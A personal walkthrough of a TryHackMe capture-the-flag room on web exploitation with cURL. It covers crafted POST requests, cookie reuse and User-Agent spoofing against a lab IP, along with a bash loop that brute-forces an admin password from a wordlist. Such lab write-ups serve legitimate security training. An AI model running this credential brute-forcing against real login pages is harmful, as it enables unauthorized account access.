Exploitation with cURL

Overview


Room URL: https://tryhackme.com/room/webhackingusingcurl-aoc2025-w8q1a4s7d0
Difficulty: Easy
Category: Curl
Date Completed: 12/26/2025

Objective


Table of Contents

Introduction
Walk Through
Lessons Learned
Resources


Introduction

This TryHackMe challenge serves as a practical introduction to HTTP request manipulation using cURL, demonstrating how command-line tools can interact with web applications without a browser. The challenge progressively builds skills through five core tasks plus a bonus mission, covering fundamental web exploitation concepts including POST request crafting, session cookie management, credential brute forcing, and User-Agent spoofing. Participants assume the role of a blue team operator tasked with testing various authentication mechanisms and ultimately closing a wormhole by infiltrating an Easter bunny control panel in the bonus mission.

Key Information

cURL Flags:


Walk Through

  1. Start Target Machine & Connect to VPN
    1. curl http://10.66.181.228/
    2. Pasted image 20251226143543.png
    3. Pasted image 20251226143650.png
  2. Make a POST request to the /post.php endpoint with the username admin and the password admin. What is the flag you receive?
    1. curl -X POST -d "username=admin&password=admin" http://10.66.181.228/post.php
    2. Pasted image 20251226143859.png
  3. Make a request to the /cookie.php endpoint with the username admin and the password admin and save the cookie. Reuse that saved cookie at the same endpoint. What is the flag your receive?
    1. curl -c cookies.txt -d "username=admin&password=admin" http://10.66.181.228/cookie.php
      1. Pasted image 20251226145018.png
    2. curl -b cookies.txt http://10.66.181.228/cookie.php
      1. Pasted image 20251226145046.png
  4. After doing the brute force on the /bruteforce.php endpoint, what is the password of the admin user?
    1. nano passwords.txt
      admin123
      password
      letmein
      secretpass
      secret
      
    2. nano loop.sh
          for pass in $(cat passwords.txt); do
            echo "Trying password: $pass"
            response=$(curl -s -X POST -d "username=admin&password=$pass" http://10.66.181.228/bruteforce.php)
            if echo "$response" | grep -q "Welcome"; then
              echo "[+] Password found: $pass"
              break
            fi
          done
      
    3. chmod +x loop.sh
    4. ./loop.sh
    5. Pasted image 20251226145533.png
  5. Make a request to the /agent.php endpoint with the user-agent TBFC. What is the flag your receive?
    1. curl -A "internalcomputer" http://10.66.181.228/ua_check.php
      1. Pasted image 20251226145746.png
    2. curl -i http://10.66.181.228/ua_check.php
      1. Pasted image 20251226145759.png
    3. curl -i -A "internalcomputer" http://10.66.181.228/ua_check.php
      1. Pasted image 20251226145823.png
    4. curl -A "TBFC" http://10.66.181.228/agent.php
      1. Pasted image 20251226145921.png

Lessons Learned


Resources

TryHackMe
cURL


Revision #1
Created 2026-01-02 17:59:55 UTC by David Rizzo
Updated 2026-01-02 18:08:33 UTC by David Rizzo